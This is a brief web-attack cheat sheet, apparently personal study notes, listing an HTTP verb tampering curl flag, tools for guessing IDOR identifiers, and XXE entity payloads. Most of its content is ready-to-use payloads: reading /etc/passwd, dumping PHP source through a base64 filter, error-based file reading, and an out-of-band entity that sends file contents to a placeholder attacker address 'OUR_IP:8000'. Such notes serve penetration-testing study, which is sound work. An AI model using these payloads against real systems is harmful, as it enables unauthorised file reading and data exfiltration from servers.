hi@hectortoral.com

1 min read

HTTP Verb Tampering

HTTP Method

CommandDescription
-X OPTIONSSet HTTP Method with Curl

IDOR

Identify IDORS

CommandDescription
md5sumMD5 hash a string
base64Base64 encode a string

XXE

CodeDescription
<!ENTITY xxe SYSTEM "http://localhost/email.dtd">Define External Entity to a URL
<!ENTITY xxe SYSTEM "file:///etc/passwd">Define External Entity to a file path
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">Read PHP source code with base64 encode filter
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">Reading a file through a PHP error
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">Reading a file OOB exfiltration